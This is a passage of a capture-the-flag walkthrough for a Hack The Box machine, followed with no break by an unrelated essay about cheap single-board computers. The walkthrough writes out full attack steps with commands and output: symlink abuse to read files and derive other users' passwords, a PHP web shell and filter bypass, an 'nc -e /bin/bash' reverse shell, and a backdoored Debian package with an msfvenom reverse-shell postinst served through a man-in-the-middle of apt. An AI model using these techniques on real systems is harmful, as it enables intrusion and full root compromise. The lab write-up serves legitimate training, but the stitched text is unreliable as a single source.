let’s see where it takes us. Source Code Recovery Let’s begin with some source code recovery. We’ll utilize the symlink command to allow us to browse the raw php files. Some files of interest that we can examine are signup.php and index.php . If we try to symlink to these files using the same name (i.e. with the php extension), we’ll run into problems with the server trying to execute the php. Instead, we’ll drop the php extension so we can recover the source code. sftp> ln -s /var/www/html/index.php index sftp> ln -s /var/www/html/signup.php signup Let’s take a look at index first. We can’t view/get the files from within the sftp shell. The trick here is that we need to enter view-source:http://10.10.10.133/~ots-yZjFkZWY/index in our browser. When we do, we’re presented with the php source code. In it, we can see a breadcrumb. It lets us know that if we are accessing this page from the server itself (127.0.0.1) or 104.24.0.54, a link to the admin panel will be visible. The admin panel itself appears to be listening on port 60080 . We’ll keep this in mind as we progress. The next file, signup , contains a juicy piece of information. Specifically, it shows us how usernames and passwords are generated for the sftp logins. Let’s confirm what the username function does with our ip address. 1 php > $hash = md5('10.10.14.3'); 2 php > print $hash; 3 122f1def6a8b5601963ee3163b041696 4 5 php > $first_username = substr($hash, 0, 8); 6 php > print $first_username; 7 122f1def 8 9 php > print base64_encode($first_username); 10 MTIyZjFkZWY= 11 php > $encoded_username = base64_encode($first_username); 12 13 php > print str_replace('=', '', $encoded_username); 14 MTIyZjFkZWY 15 php > $replaced_username = str_replace('=', '', $encoded_username); 16 17 php > print substr($replaced_username, 3); 18 yZjFkZWY 19 20 php > $final = substr($replaced_username, 3); 21 php > print "ots-" . $final; 22 ots-yZjFkZWY line 1: generates the md5sum of the given ip address line 5: grabs the first 8 characters of the hashed ip line 9: base64 encodes the shortened hash line 13: removes any equal signs from the string line 17: returns a substring of the shortened/replaced hash starting with the fourth character and going out to the end of the string line 21: concatenates the string “ots-” with the result of all the above actions, giving us our username The password is much less complex. php > $hash = md5('10.10.14.3'); php > print substr($hash, 0, 8); 122f1def Ok, so why do we care? If any other users follow the ots- pattern, we can get their password! Let’s check out /etc/passwd and see if there are any users of interest. user.txt Back in our sftp shell, we can symlink /etc/passwd and check out the contents. sftp> ln -s /etc/passwd passwd ots-yODc2NGQ:x:999:999:127.0.0.1:/home/web/ots-yODc2NGQ:/bin/false ots-yZjFkZWY:x:1001:1001:10.10.14.3:/home/web/ots-yZjFkZWY:/bin/false In the output above, we can see our username. The nice thing here is that the ip address is noted in the GECOS field of each /etc/passwd entry. Let’s take the next logical step and grab the password for the user associated with 127.0.0.1! php > print substr(md5('127.0.0.1'), 0, 8); f528764d There we have it, a set of credentials! Let’s use them on the sftp service. sftp ots-yODc2NGQ@onetwoseven.htb ots-yODc2NGQ@onetwoseven.htb's password: f528764d Connected to ots-yODc2NGQ@onetwoseven.htb. sftp> ls -al drwxr-xr-x 3 0 0 4096 Feb 15 2019 . drwxr-xr-x 3 0 0 4096 Feb 15 2019 .. drwxr-xr-x 2 999 999 4096 Feb 15 2019 public_html -r--r----- 1 0 999 33 Feb 15 2019 user.txt After logging in, we see user.txt waiting for us. All that’s left is to download it and turn it in! sftp> get user.txt Fetching /user.txt to user.txt /user.txt 100% 33 0.3KB/s 00:00 cat user.txt ════════════ 93a4... Hol’up. We don’t even have a shell? Let’s fix that as we go for root. Unauth to www-admin-data .login.php.swp Let’s revisit the sftp server yet again. This time, we’ll link the root of the filesystem (or at least our view of it). sftp> cd public_html/ sftp> ln -s / root We’ll make use of our browser again to view the results. Drilling down into the folders, the only file of interest we have permission to browse to at this point is .login.php.swp , located at http://onetwoseven.htb/~ots-mODVhZTM/var/www/html-admin/ . Let’s download the file and analyze its contents. Running the file command on .login.php.swp shows us that it’s a vim swap file. (firefox may have named the file login.php.swp on your behalf, don’t sweat it. The following steps work either way) file .login.php.swp ═══════════════════ login.php.swp: Vim swap file, version 8.0, pid 1861, user root, host onetwoseven, file /var/www/html-admin/login.php In this case, when vim opened the login.php file for editing, it created a hidden swap file .login.php.swp . This is pretty standard vim behavior and it’s quite common to see these laying around as a result of vim exiting in a weird state or vim editors being left open. Luckily for us, having the swap file makes it incredibly easy to recover the original file. vim -r .login.php.swp ═════════════════════ Using swap file ".login.php.swp" "/var/www/html-admin/login.php" [New DIRECTORY] Recovery completed. You should check if everything is OK. (You might want to write out this file under another name and run diff with the original file to check for changes) You may want to delete the .swp file now. Press ENTER or type command to continue Once we’re presented with the prompt above, we can press ENTER and revel in the glory of our freshly recovered file. There are a few lines that we’re definitely concerned with; we’ll start with line #1. 1 <?php if ( $_SERVER[ 'SERVER_PORT' ] != 60080 ) { die (); } ?> 2 Line #1 tells us that we can expect the server running this php file to be on port 60080. Recall from our source code recovery that we’ve seen this port listed before. With all we’ve seen so far, it’s safe to assume that it will be running on localhost. Next up, line #26 lets us know that this php file is tied to their backend administration. 26 < a class = "navbar-brand" href = "/login.php" >OneTwoSeven - Administration Backend</ a > The really juicy stuff is on line #78; an admin username and password hash! 78 if ($_POST['username'] == 'ots-admin' && hash('sha256',$_POST['password']) == '11c5a42c9d74d5442ef3cc835bda1b3e7cc7f494e704a10d0de426b2fbe5cbd8') { Often, we want to reach for the cool tools like hashcat. However, we can instead just use crackstation.net to get the cleartext password. ssh Tunnel to Admin Panel We’ve got creds to the admin panel, but we can’t get to the site (yet). Let’s try setting up an ssh tunnel to the admin panel. ssh ots-yZjFkZWY@onetwoseven.htb ots-yZjFkZWY@onetwoseven.htb's password: 122f1def This service allows sftp connections only. Connection to onetwoseven.htb closed. Ok, we can’t ssh, or can we? Let’s add a -v to the ssh command and take a closer look. ssh -v ots-yZjFkZWY@onetwoseven.htb OpenSSH_8.0p1 Debian-4, OpenSSL 1.1.1c 28 May 2019 debug1: Reading configuration data /etc/ssh/ssh_config debug1: /etc/ssh/ssh_config line 19: Applying options for * -------------8<------------- debug1: Next authentication method: password ots-yZjFkZWY@onetwoseven.htb's password: 122f1def debug1: Authentication succeeded (password). Authenticated to onetwoseven.htb ([10.10.10.133]:22). debug1: channel 0: new [client-session] debug1: Requesting no-more-sessions@openssh.com debug1: Entering interactive session. The conclusion we can draw from the above output is that the connection succeeds and the ssh connection gets established before it is disconnected by the server. We’ll use this fact to set up an ssh forward tunnel to hit port 60080 on the server’s loopback address. If you’re new to ssh tunneling, check out my writeup of Vault and follow along. There are a lot of traffic bending techniques to be learned on that one. Two ssh options will assist us in setting up a tunnel without an interactive shell. Let’s check them out. ssh -Nf ots-yZjFkZWY@onetwoseven.htb -L 60080:127.0.0.1:60080 ots-yZjFkZWY@onetwoseven.htb's password: 122f1def ssh options used: -N Do not execute a remote command. This is useful for just forwarding ports. -f Requests ssh to go to background just before command execution. -L Specifies that connections to the given TCP port on the local (client) host are to be forwarded to the given host and port on the remote side. Below we see a breakdown of the tunneling options used. forward tunnel options used: 60080 The port on the local end to listen on; (kali:60080) 127.0.0.1 Where the traffic is destined after reaching 60080 from the point of view of the creator of the tunnel (traffic will start on kali and be sent through 10.10.10.133 to finally hit 127.0.0.1 from 10.10.10.133's point of view) 60080 The port to which traffic is destined. After running the command above, we’ll take a look at netstat on kali. When we do, we should see a listener on port 60080. netstat -ntlp Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:60080 0.0.0.0:* LISTEN 12068/ssh tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 1/init tcp6 0 0 ::1:60080 :::* LISTEN 12068/ssh tcp6 0 0 :::111 :::* LISTEN 1/init tcp6 0 0 127.0.0.1:8080 :::* LISTEN 27777/java We can see that there is a listener on 60080 on our kali machine. Any traffic sent there will be forwarded to 10.10.10.133’s localhost interface on port 60080. Knowing that, we can browse to the local tunnel which will move all of our traffic through the tunnel over to the target. Let’s check it out! Admin Panel Web Shell With our tunnel in place, we can browse to http://127.0.0.1:60080 and see the login screen. We’ll proceed with our creds ots-admin:Homesweethome1 After logging in, we’re greeted by the addons menu. The most obvious thing to try is the big Plugin Upload section at the bottom. We can use the developer tools to enable the Submit Query button. When we view the button in the dev tools, we see a disabled attribute on the \<input\> tag. We can simply remove the attribute to enable the button. Let’s try to upload a simple php web shell a try for funsies. While we’re at it, let’s capture the POST request in Burp, as it will come in handy later. shell.php ════════════════ <?php system ($_GET[ 'epi' ]); ?> The website responds with a 404 error. If we browse to 127.0.0.1:60080/menu.php?addon=addons/ots-man-addon.php , we can see a note that tells us disabled features result in 404 errors. We can assume that there has been an attempt to disable file upload functionality. There is also a note on the page above: The addon manager must not be executed directly but only via the provided RewriteRules So, when we want to download one of the files listed on the menu, we request it via a URL similar to this: http://127.0.0.1:60080/addon-download.php?addon=[SOME_PLUGIN] . Whenever addon-download.php is requested, the webserver internally rewrites the request to be addons/ots-man-addon.php . Notice that both addon-upload.php and addon-download.php are both handled by the same file: ots-man-addon.php . Since we’re most interested in the file responsible for handling file upload and download, let’s use one of the handy links to the side of each addon ( [DL] ) and grab ots-man-addon.php to analyze its source. Below is the snippet of code we’re concerned with. Everything below what’s shown here is unrelated to getting our shell on target. 1 <?php session_start (); if ( ! isset ($_SESSION[ 'username' ])) { header ( "Location: /login.php" ); }; if ( strpos ($_SERVER[ 'REQUEST_URI' ], '/addons/' ) !== false ) { die (); }; 2 # OneTwoSeven Admin Plugin 3 # OTS Addon Manager 4 switch ( true ) { 5 # Upload addon to addons folder. 6 case preg_match ( '/\/addon-upload.php/' ,$_SERVER[ 'REQUEST_URI' ]) : 7 if ( isset ($_FILES[ 'addon' ])){ 8 $errors = array (); 9 $file_name = basename ($_FILES[ 'addon' ][ 'name' ]); 10 $file_size = $_FILES[ 'addon' ][ 'size' ]; 11 $file_tmp = $_FILES[ 'addon' ][ 'tmp_name' ]; 12 13 if ($file_size > 20000 ){ 14 $errors[] = 'Module too big for addon manager. Please upload manually.' ; 15 } 16 17 if ( empty ($errors) == true ) { 18 move_uploaded_file ($file_tmp,$file_name); 19 header ( "Location: /menu.php" ); 20 header ( "Content-Type: text/plain" ); 21 echo "File uploaded successfull.y" ; 22 } else { 23 header ( "Location: /menu.php" ); 24 header ( "Content-Type: text/plain" ); 25 echo "Error uploading the file: " ; 26 print_r ($errors); 27 } 28 } 29 break ; 30 The first piece of code that concerns us is line 1. Below, we have line 1 in an easier to read format. 1 <?php 2 session_start (); 3 4 if ( ! isset ($_SESSION[ 'username' ])) 5 { 6 header ( "Location: /login.php" ); 7 }; 8 if ( strpos ($_SERVER[ 'REQUEST_URI' ], '/addons/' ) !== false ) 9 { 10 die (); 11 }; 12 line 8: if the string /addons/ is found anywhere in our URL, the server will sever our connection and our request will never proceed through the rest of the code This means we can’t use the php file directly, but we can use the RewriteRules discussed above to get our requests to this file. Next, we’ll take a look at hitting the case statement that controls entry into the code branch where file uploads occur. 6 case preg_match('/\/addon-upload.php/',$_SERVER['REQUEST_URI']): The preg_match works on regular expression, so it’s slightly different than the strpos discussed above. We want the code on line 6 to evaluate to true to follow that branch of code. That means that we need to include the string /addon-upload.php somewhere in our URL. There’s a nice resource I use when playing with regex https://regex101.com. In the screenshot below, we’ve checked the radio button on the left to designate php-style regex. The regex itself doesn’t include the first and last / s. Those forward slashes denote the beginning and end of the regular expression, nothing more. Recall our request that we captured in Burp earlier. We sent a request to http://127.0.0.1:60080/addon-upload.php and got a 404 response. We need a way to include the required string, but not get the 404. From our discussion about RewriteRules, we know that there are two methods of requesting this file. We’re going to have to request http://127.0.0.1:60080/addon-download.php to even get a request through to the file. Then, we just need to include the required string in the request. Let’s go back to our captured request in Burp and alter the URL to match what we’ve found. The only change we made is highlighted on the left. We changed the URL and resent the file upload request we captured earlier. This time, we clearly see the successful response message. All that’s left to do is check that our shell.php works as intended. For the sake of moving forward, let’s grab an interactive shell. First, spin up a listener. nc -nvlp 12345 And then, trigger the callback. http://127.0.0.1:60080/addons/shell.php?epi=nc -e /bin/bash 10.10.14.3 12345 Finally, let’s grab a TTY. python -c 'import pty;pty.spawn("/bin/bash")' www-admin-data@onetwoseven:/var/www/html-admin/addons$ \o/ - access level: www-admin-data www-admin-data to root A simple sudo -l will show us the way forward. Matching Defaults entries for www-admin-data on onetwoseven: env_reset, env_keep+="ftp_proxy http_proxy https_proxy no_proxy", mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-admin-data may run the following commands on onetwoseven: (ALL : ALL) NOPASSWD: /usr/bin/apt-get update, /usr/bin/apt-get upgrade We see some interesting environment variables are preserved when using sudo. The first thing that comes to mind is being able to proxy connections in a way that will facilitate exploitation. One piece of information we need to examine to confirm our suspicions is what repositories the box is configured to use. We can do that by looking in /etc/apt/sources.list.d for any .list files. These files contain repository URLs and some additional metadata for the package manager to use. cat /etc/apt/sources.list.d/onetwoseven.list ════════════════════════════════════════════ # OneTwoSeven special packages - not yet in use deb http://packages.onetwoseven.htb/devuan ascii main Nice! An unused repository. We’ll need to keep this URL in mind for later. A package manager (like apt-get et. al) requests software/libraries/updates etc from remote repositories. Based on the fact that we can call both apt-get update and apt-get upgrade without a password, we can control proxy related environment variables, and that there is an unused repository configured; we can be reasonably confident that we’re able to perform a man-in-the-middle attack against the package manager. We’ll use the MitM attack to install backdoored software on the machine. Let’s see what that looks like. Building a Backdoored Package A word about packages from Debian’s wiki A Debian package is a collection of files that allow for applications or libraries to be distributed via the Debian package management system. The aim of packaging is to allow the automation of installing, upgrading, configuring, and removing computer programs for Debian in a consistent manner. Let’s start by selecting a legitimate package installed on the system. We do this because the commands we can run are update and upgrade . This means we can’t install new software. When we run update , the package manager will see there’s a new package. When we run upgrade , the package manager will then download and install that updated (backdoored) package. We’ll use dpkg to get a list of installed software. dpkg -l ═══════ ||/ Name Version Architecture Description +++-======================================-==================================-============-=============================================================================== ii adduser 3.115 all add and remove users and groups ii apache2 2.4.25-3+deb9u6 amd64 Apache HTTP Server ii apache2-bin 2.4.25-3+deb9u6 amd64 Apache HTTP Server (modules and other binary files) -------------8<------------- ii whiptail 0.52.19-1+b1 amd64 Displays user-friendly dialog box ii whois 5.2.17~deb9u amd64 intelligent WHOIS client ii xauth 1:1.0.9-1+b2 amd64 X authentication utility -------------8<------------- There is no rhyme or reason here, so let’s use the whois package. To find the proper version of the package we need, we’ll ask the package manager what’s currently installed. Package Download apt-cache show whois ════════════════════ Package: whois Version: 5.2.17~deb9u1 Installed-Size: 343 Maintainer: Marco d'Itri <md@linux.it> Architecture: amd64 Depends: libc6 (>= 2.15), libidn11 (>= 1.13) Description: intelligent WHOIS client Description-md5: 28e9df99a50bdfe098edfcf773417990 Tag: implemented-in::c, interface::commandline, network::client, protocol::ip, protocol::ipv6, role::program, suite::gnu, use::checking, use::searching Section: net Priority: optional Filename: pool/DEBIAN/main/w/whois/whois_5.2.17~deb9u1_amd64.deb Size: 76772 MD5sum: ac528a3b41bcdc8e78084d61e4aa2957 SHA256: 296aa4d2bb6ee15c7db129a4a3a0c8abbf1acb75770b4ee9241a47ee2ca37551 A quick google search for 5.2.17~deb9u1 brings us to packages.debian.org/stretch/whois . Clicking through to the AMD64 download gets us the legitimate .deb file that we’ll be modifying. Below the wget command is included for your convenience. wget http://http.us.debian.org/debian/pool/main/w/whois/whois_5.2.17~deb9u1_amd64.deb Package Modification Now that we’ve got our package, we can make our malicious modifications. We’ll begin by extracting the package. dpkg-deb -R whois_5.2.17~deb9u1_amd64.deb backdoored-whois The command above should give us the following directory structure. backdoored-whois/ ├── DEBIAN │ ├── control │ └── md5sums └── usr ├── bin │ ├── mkpasswd │ └── whois └── share ├── doc │ └── whois -------------8<------------- ├── locale │ ├── cs │ │ └── LC_MESSAGES │ │ └── whois.mo -------------8<------------- └── man ├── man1 │ ├── mkpasswd.1.gz │ └── whois.1.gz └── man5 └── whois.conf.5.gz Our next step is to create our callback binary; we’ll do this using msfvenom . msfvenom -p linux/x64/shell_reverse_ipv6_tcp LHOST=dead:beef:2::1001 LPORT=12345 -f elf -o backdoored-whois/usr/bin/revshell ═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════ [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder or badchars specified, outputting raw payload Payload size: 90 bytes Final size of elf file: 210 bytes Saved as: backdoored-whois/usr/bin/revshell You may be wondering, why ipv6? The answer is simple; I wrote the linux 64-bit bind/reverse shell payloads and enjoy putting them to use. Don’t forget to make ./usr/bin/revshell executable! chmod +x ./usr/bin/revshell Next, we’ll create our postinst maintainer script. The postinst script will run after all the contents of the package are unpacked. We likely could use some of the other maintainer scripts, but we’re going to use a script to call our binary, so we want the binary to be unpacked to disk before it’s executed. There is more information in the debian packaging documentation found here and here if you’re interested. backdoored-whois/DEBIAN/postinst ════════════════════════════ #!/bin/sh /usr/bin/revshell & Don’t forget to make postinst executable! chmod 755 backdoored-whois/DEBIAN/postinst With that done, we can repackage our malicious whois update. dpkg-deb -b backdoored-whois ════════════════════════════ dpkg-deb: building package 'whois' in 'backdoored-whois.deb'. That’s it for the package, now we need to build the repository structure. We’ll do that next. Building the Repository Recall that the target’s package manager is going to reach out to us as though we are the package repository. The package manager is going to expect a certain directory structure as well as a few files to be present. We’ll go ahead and create those now. First, let’s create a working directory for the repository and move our backdoored-whois.deb into it. mkdir barebones-repo mv backdoored-whois.deb barebones-repo/ cd barebones-repo Release file Next, we’ll create a Release file inside barebones-repo . According to the Debian wiki, “A Release file shall contain meta-information about the distribution and checksums.” To create a Release file, we’ll just copy and paste the output from apt-cache show whois from the target system (remember, we already ran this once above). apt-cache show whois ════════════════════ Package: whois Version: 5.2.17~deb9u1 Installed-Size: 343 Maintainer: Marco d'Itri <md@linux.it> Architecture: amd64 Depends: libc6 (>= 2.15), libidn11 (>= 1.13) Description: intelligent WHOIS client Description-md5: 28e9df99a50bdfe098edfcf773417990 Tag: implemented-in::c, interface::commandline, network::client, protocol::ip, protocol::ipv6, role::program, suite::gnu, use::checking, use::searching Section: net Priority: optional Filename: pool/DEBIAN/main/w/whois/whois_5.2.17~deb9u1_amd64.deb Size: 76772 MD5sum: ac528a3b41bcdc8e78084d61e4aa2957 SHA256: 296aa4d2bb6ee15c7db129a4a3a0c8abbf1acb75770b4ee9241a47ee2ca37551 Now we need to alter a few of the fields in the Release file. Specifically, we need to update the Version, Filename, Size, MD5sum, and SHA256 fields. The first two changes are simple. We just increment the version number and the filename. We do this so that the package manager recognizes the need to update this particular package (i.e. the one installed on the target system is older than the one in the repo). OLD LINE: Version: 5.2.17~deb9u1 NEW LINE: Version: 5.2.17~deb9u2 OLD LINE: Filename: pool/DEBIAN/main/w/whois/whois_5.2.17~deb9u1_amd64.deb NEW LINE: Filename: pool/DEBIAN/main/w/whois/whois_5.2.17~deb9u2_amd64.deb After that, we’ll update the Size field. We just need the new size of our malicious .deb. ls -l backdoored-whois.deb -rw-r--r-- 1 root root 77276 Aug 30 06:36 backdoored-whois.deb OLD LINE: Size: 76772 NEW LINE: Size: 77276 Next, we update the MD5sum field. To update it, we’ll need to grab the md5 hash of our .deb. md5sum backdoored-whois.deb 2845688fc677c713b2ef8b187d0aeb71 backdoored-whois.deb OLD LINE: MD5sum: ac528a3b41bcdc8e78084d61e4aa2957 NEW LINE: MD5sum: 2845688fc677c713b2ef8b187d0aeb71 Finally, the SHA256 field. sha256sum backdoored-whois.deb 725c55a28c783e6f6846694153fd2dfbf78df11fdccaf839288562aa55a67217 backdoored-whois.deb OLD LINE: SHA256: 296aa4d2bb6ee15c7db129a4a3a0c8abbf1acb75770b4ee9241a47ee2ca37551 NEW LINE: SHA256: 725c55a28c783e6f6846694153fd2dfbf78df11fdccaf839288562aa55a67217 Great, now our Release file is complete! Next up, we need a Packages file. Packages files Fortunately, the content is the same as Release , so a simple copy is sufficient. cp Release Packages Another requirement we need to satisfy is that we need a gzipped Packages file. Again, this is a simple step. gzip Packages -c > Packages.gz Repository Directory Structure We’re nearing the end of the repository setup steps. We now need to create the directory structure that the package manager expects to see. My actual process for figuring this out was to have all of the MitM pieces in place (described below) and trying to run apt-get update . Each time I did, it would error out with messages like E: Failed to fetch http://packages.onetwoseven.htb/devuan/dists/ascii/main/binary-amd64/Packages 404 File not found . I repeatedly ran the command, checked the errors, and built the things that were needed. The two mkdir commands below will setup our repo directories. mkdir -p devuan/dists/ascii/main/binary-amd64 mkdir -p devuan/pool/DEBIAN/main/w/whois Finally, we need to put all of our files in their proper places. Part of this is renaming backdoored-whois.deb to match the filename we used in the Release file. mv backdoored-whois.deb devuan/pool/DEBIAN/main/w/whois/whois_5.2.17~deb9u2_amd64.deb mv Packages* devuan/dists/ascii/main/binary-amd64/ mv Release devuan/dists/ascii/ Our repo should look like this now. barebones-repo/ └── devuan ├── dists │ └── ascii │ ├── main │ │ └── binary-amd64 │ │ ├── Packages │ │ └── Packages.gz │ └── Release └── pool └── DEBIAN └── main └── w └── whois └── whois_5.2.17~deb9u2_amd64.deb That’s it! We now have a minimal repo from which we can serve up our malicious package. Man in the Middle Alright, we’re in the home stretch. There are a few small steps we need to take to properly handle the requests that will originate on the target machine. To begin, we’ll set up a reverse ssh tunnel to get the traffic sent to the “proxy” back to our local machine. ssh -Nf ots-yZjFkZWY@onetwoseven.htb -R 8002:127.1:8080 ots-yZjFkZWY@onetwoseven.htb's password: 122f1def Where we used port 8002; the actual port doesn’t matter too much, as long as it isn’t already bound. Our proxy will listen on kali on port 8080, so that’s where we want the remote traffic to come to on kali’s localhost. reverse tunnel options used: 8002 The port on the remote end to listen on; (10.10.10.133:8002) 127.1 Where the traffic flows after reaching 8002 from the point of view of the creator of the tunnel (traffic dumps out on kali; the creator's localhost) 8080 The port to which traffic is destined. Next, we’ll set up the proxy. We’re going to use BurpSuite as our proxy. Burp listens on port 8080 by default. All we need to do is start it up. It’s dealer’s choice on how to get it started, click the icon or run the command below. java -jar $(which burpsuite) Also, ensure that Intercept is off. Huzzah, we’ve set up our proxy! Now, remember when we looked at the repositories that the target machine is configured to use? We found the URL http://packages.onetwoseven.htb/devuan . All of the requests sent to our proxy will ultimately be looking for the packages.onetwoseven.htb subdomain. Since we’re impersonating this repository, we need to tell Burp that WE are deb packages.onetwoseven.htb . We’ll do this by modifying /etc/hosts . 1 /etc/hosts 2 ══════════ 3 4 127.0.0.1 localhost packages.onetwoseven.htb 5 127.0.1.1 kail 6 -------------8<------------- With that done, Burp will proxy the requests coming to it “out” to packages.onetwoseven.htb which is really our kali’s localhost interface. Our last step before exploitation is to start the webserver that will host the files in our repository. cd barebones-repo python3 -m http.server 80 Now all of the pieces are in place for us to MitM the package manager. Let’s see it in action! Exploitation Before running the exploit, we need an ipv6 listener (remember the msfvenom command?). nc -vnl6p 12345 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::12345 Now, on the target machine, we first run apt-get update followed by apt-get upgrade sudo http_proxy=http://127.0.0.1:8002 apt-get update ════════════════════════════════════════════════════ Ign:1 http://packages.onetwoseven.htb/devuan ascii InRelease Get:2 http://packages.onetwoseven.htb/devuan ascii Release [627 B] -------------8<------------- Fetched 1093 B in 12s (86 B/s) Reading package lists... Done W: The repository 'http://packages.onetwoseven.htb/devuan ascii Release' is not signed. N: Data from such a repository can't be authenticated and is therefore potentially dangerous to use. N: See apt-secure(8) manpage for repository creation and user configuration details. W: Conflicting distribution: http://packages.onetwoseven.htb/devuan ascii Release (expected ascii but got ) E: Failed to fetch http://de.deb.devuan.org/merged/dists/ascii/main/binary-amd64/Packages Connection failed E: Failed to fetch http://de.deb.devuan.org/merged/dists/ascii-security/main/binary-amd64/Packages Connection failed E: Some index files failed to download. They have been ignored, or old ones used instead. We see some warnings and errors in the output above, but they can be ignored. For the upgrade command, if we see whois listed in the packages to be upgraded, we know that our exploit has at least partially worked; the package manager is going to try to upgrade the package. sudo http_proxy=http://127.0.0.1:8002 apt-get upgrade ═════════════════════════════════════════════════════ Reading package lists... Done Building dependency tree Reading state information... Done Calculating upgrade... Done The following packages will be upgraded: debian-archive-keyring tzdata whois 3 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. Need to get 77.2 kB/426 kB of archives. After this operation, 31.7 kB of additional disk space will be used. Do you want to continue? [Y/n] y y WARNING: The following packages cannot be authenticated! whois Install these packages without verification? [y/N] y y Get:1 http://packages.onetwoseven.htb/devuan ascii/main amd64 whois amd64 5.2.17~deb9u2 [77.2 kB] Fetched 77.2 kB in 0s (281 kB/s) Reading changelogs... Done -------------8<------------- Setting up whois (5.2.17~deb9u1) ... Processing triggers for man-db (2.7.6.1-2) ... If all went well, we should see a connection come back to our netcat listener. -------------8<------------- Ncat: Connection from dead:beef::250:56ff:feb2:e2a6. Ncat: Connection from dead:beef::250:56ff:feb2:e2a6:53952. id uid=0(root) gid=0(root) groups=0(root) cat /root/root.txt 2d38... There we go, we’ve successfully MitM’d a package manager to escalate privileges. High five!! \o/ - root access I hope you enjoyed this write-up or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus. Additional Resources

It’s a pretty great time to be a software engineer. Sure you get great pay and perks, but my favorite part of this vocation is how stupidly easy and cheap it is to try out new ideas. Developers have no shortage of libraries, frameworks, and tools that make it incredibly easy to quickly throw things together into a functional prototype. I don’t think many would dispute that software is a lucrative and amazing field to be in these days, but I have a hunch that something new is coming. Recently I’ve noticed the same sort of cheap and easy development cycle becoming widely available on the hardware front. First there was the Arduino, which allowed anyone to jumble together a circuit with a few sensors, motors, and lights and have a working prototype. Then came the Raspberry Pi, which gave you a fully capable credit card-sized linux computer for $35. Now we’re seeing things like $99 “supercomputers” (the 16-core Parallella) and a $60 quad-core computer (the ODROID U3). These are serious pieces of hardware being sold at some insanely low prices. We have the recent boom in mobile computing to thank for the rise of these tiny and cheap computers. Competition between companies like Apple, Samsung, and Broadcom has been driving down the cost of ARM processors for mobile devices while simultaneously increasing their performance to be near-desktop levels. The Raspberry Pi, Paralella, and ODROID are all side-effects of the intense competition happening in the mobile sector. Ultimately, hardware hobbyists are the winners here as it’s never been cheaper to get a high powered, network ready microprocessor into projects. Plus, since these are fully functional linux computers, you no longer have to write your project’s software in low-level languages like C or C++. You can have full control over GPIO (general purpose in/out) pins using languages like Python or Ruby. The ability to write code for embedded systems using interpreted languages is a major development. These cheap processors are only as useful as the software that runs them, and reducing the amount of complexity required to write good software for hardware projects is a big win for everyone. The Arduino is a fantastic piece of hardware, but do you know how difficult it is to write network-enabled software for it? Here’s the code required to make an HTTP request to Google. Compare that to Python’s wonderful requests library. If you had an idea for a web-api based hardware project, what would you rather write it in? This is a 1.7GHz quad-core processor with 2GB of RAM, a network port, 3 USB ports, and HDMI out for $60... This sort of hardware would cost thousands of dollars 15 years ago. So far we’ve seen that the cost of hardware is going down and that it’s easier to write software for this new hardware. A problem that remains is the steep learning curve of building circuits and complex devices. The good news is hardware education is a field that is also rapidly improving. Companies like Adafruit and Sparkfun have realized that education is in their best interest. They’ve turned their hardware catalogs into tutorial websites for aspiring hobbyists to use their parts in order to create amazing things. Want to learn about the different types of motors you can put in your projects? There’s a tutorial for that. Want to make a device that assists in cocktail mixing? Yep, there’s one for that too. Hardware education is now monetarily incentivized and because of this, it’s getting good. Really good. At the same time we have these tiny, network-enabled linux computers becoming cheap, powerful, widely available, and controlled by high level, high productivity languages. This is a recipe for an amazing future for us hackers. Remember how jQuery, Rails, Django, Bootstrap and tons of tutorials made web-development and rapid prototyping incredibly easy for us? That’s exactly what’s happening for hardware, and I think the result is going to be even more amazing than what we’ve created on the web. Things are definitely looking bright for the hardware side of technology, but I don’t want you to get the impression that hardware will be just as easy as software to create. For starters, in order to put any of these cheap computers to good use, you have to first be able to write the software that controls them. While this is getting better now that you can control GPIO pins with interpreted languages, it still requires a decent knowledge of programming. There are also plenty of other obstacles in the way of easy development with hardware. Some of these obstacles may be broken, however there are others which are firmly enforced by nature. For one, hardware will never be as cheap as software to build. Software is virtually “creating something out of nothing.” When you start a new project in software there’s nothing to buy; you just open a text editor and begin writing code. Hardware requires you to order parts, find an open workspace, have the correct tools (most of which are not free), etc. It’s significantly more difficult to do this than downloading a text editor and compiler. In addition, small electronic parts may be cheap on Adafruit and Sparkfun, but shipping is not. It’s hard to justify buying a sensor for 95 cents and paying $4 in shipping just to get it to you. You have to buy parts within larger orders in order for it to be reasonably cheap which makes it difficult to start a project on a whim. There’s also the issue of deployment. Software is incredibly easy to deploy into production. I can create a web app, put it up on a service like Heroku, and have it instantly scale to an audience of millions in around 10 minutes (if you can, take a second and think about how incredible this is). Hardware is an entirely different game. Going from prototype to scaled deployment takes tons of time, money, and work. Sure it takes time, money, and work to scale software properly, but hardware is an entirely different game. You have to design PCBs to replace your breadboards, find sources for the parts you need, get a manufacturer to assemble the parts, etc. and even then you’re only scraping the surface of scaling your device. Scaling software is just significantly easier and cheaper. The list of difficulties which separate us from a hardware hobbyist utopia could go on for a while. While some issues like manufacturing may be turned upside-down by inventions like the 3D printer, I’m not sure how the issue of parts, shipping, and tools could be made as easy as it is for software. Then again, I would have never believed that my thousand-dollar Gateway 2000 would be dwarfed by a $35 computer that fit in my pocket a mere 12 years later. We live in a pretty crazy world these days, so I wouldn’t be entirely surprised if the challenges preventing simple hardware development/deployment were mostly overcome in the next decade or so. However even with these challenges in place today, I still think we’re headed towards a very exciting future. The advent of cheap microcomputers, increased education, and the ability to write high level code on embedded platforms could be the start of a major growth in hardware hacking and startups. I think these improvements will transform the hardware side of technology into a playground of ideas in a similar way that jQuery, Rails, and Bootstrap did for the web. We’ve been given new a set of cheap and powerful toys. Let’s play with them and make awesome things!

